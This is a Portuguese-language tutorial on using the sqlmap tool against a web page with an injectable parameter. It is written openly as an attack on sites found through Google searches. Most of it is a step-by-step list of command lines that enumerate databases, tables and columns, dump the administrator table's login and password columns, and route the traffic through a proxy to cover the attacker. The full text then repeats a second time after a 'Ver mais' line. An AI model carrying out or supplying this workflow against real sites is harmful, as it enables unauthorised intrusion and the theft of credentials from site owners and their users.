A ferramenta sqlmap é muito utilizada no Linux para verificar vulnerabilidades sqlinjection em diversos sites, mas também tem sua versão para o Windows. Como ele tem inúmeras funções, vamos detalhar algumas e efetuar o ataque.
Ao fazer algumas buscas no Google encontramos diversos sites vulneráveis, mas nesse tutorial vamos utilizar um site fictício.
Vamos inserir a página vulnerável:
sqlmap -u http://www.site.com.br/index.php?id=9
Dependendo da versão do sqlmap devemos digitar da seguinte maneira:
python sqlmap.py -u http://www.site.com.br/index.php?id=9
Agora vamos descobrir a versão do Bando de Dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -b
Pegando todos os bancos de dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --dbs
Como alguns sites retornam muitos bancos de dados é complicado explorar todos, por isso vamos apenas pegar o que o site utiliza:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --current-db
Agora vamos pegar as tabelas do banco de dados:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables
Explicando os parâmetros:
-D = Indica o nome do banco de dados que será utilizado.
--tables = Pega todas as tabelas do banco de dados.
Supõe que o site retornou as seguintes tabelas:
Notícias
Vídeos
Clientes
Administrador
Vamos descobrir as colunas da tabela que nos interessa, a tabela administrador:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador --columns
Explicando os parâmetros:
-T = Indica qual a tabela que vai ser usada
--columns = Pega todas as colunas da tabela desejada.
Supõe que dentro dessa tabela tinha as seguintes colunas:
nome
email
login
senha
Vamos pegar só as colunas interessantes, login e senha:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump
Explicando os parâmetros:
-C =Indica quais colunas que vou pegar os dados
--dump = Puxa todos os dados
Você também pode retornar todas as tabelas com todas colunas:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables --dump-all
Caso queira aumentar a segurança no ataque pode usar um proxy http,https ou socks:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump --proxy http://127.0.0.0:9666
Caso queira saber sobre proxys no Sql Injection, veja esse tutorial aqui.
Ver mais
Ao fazer algumas buscas no Google encontramos diversos sites vulneráveis, mas nesse tutorial vamos utilizar um site fictício.
Vamos inserir a página vulnerável:
sqlmap -u http://www.site.com.br/index.php?id=9
Dependendo da versão do sqlmap devemos digitar da seguinte maneira:
python sqlmap.py -u http://www.site.com.br/index.php?id=9
Agora vamos descobrir a versão do Bando de Dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -b
Pegando todos os bancos de dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --dbs
Como alguns sites retornam muitos bancos de dados é complicado explorar todos, por isso vamos apenas pegar o que o site utiliza:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --current-db
Agora vamos pegar as tabelas do banco de dados:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables
Explicando os parâmetros:
-D = Indica o nome do banco de dados que será utilizado.
--tables = Pega todas as tabelas do banco de dados.
Supõe que o site retornou as seguintes tabelas:
Notícias
Vídeos
Clientes
Administrador
Vamos descobrir as colunas da tabela que nos interessa, a tabela administrador:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador --columns
Explicando os parâmetros:
-T = Indica qual a tabela que vai ser usada
--columns = Pega todas as colunas da tabela desejada.
Supõe que dentro dessa tabela tinha as seguintes colunas:
nome
login
senha
Vamos pegar só as colunas interessantes, login e senha:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump
Explicando os parâmetros:
-C =Indica quais colunas que vou pegar os dados
--dump = Puxa todos os dados
Você também pode retornar todas as tabelas com todas colunas:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables --dump-all
Caso queira aumentar a segurança no ataque pode usar um proxy http,https ou socks:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump --proxy http://127.0.0.0:9666
Caso queira saber sobre proxys no Sql Injection, veja esse tutorial aqui.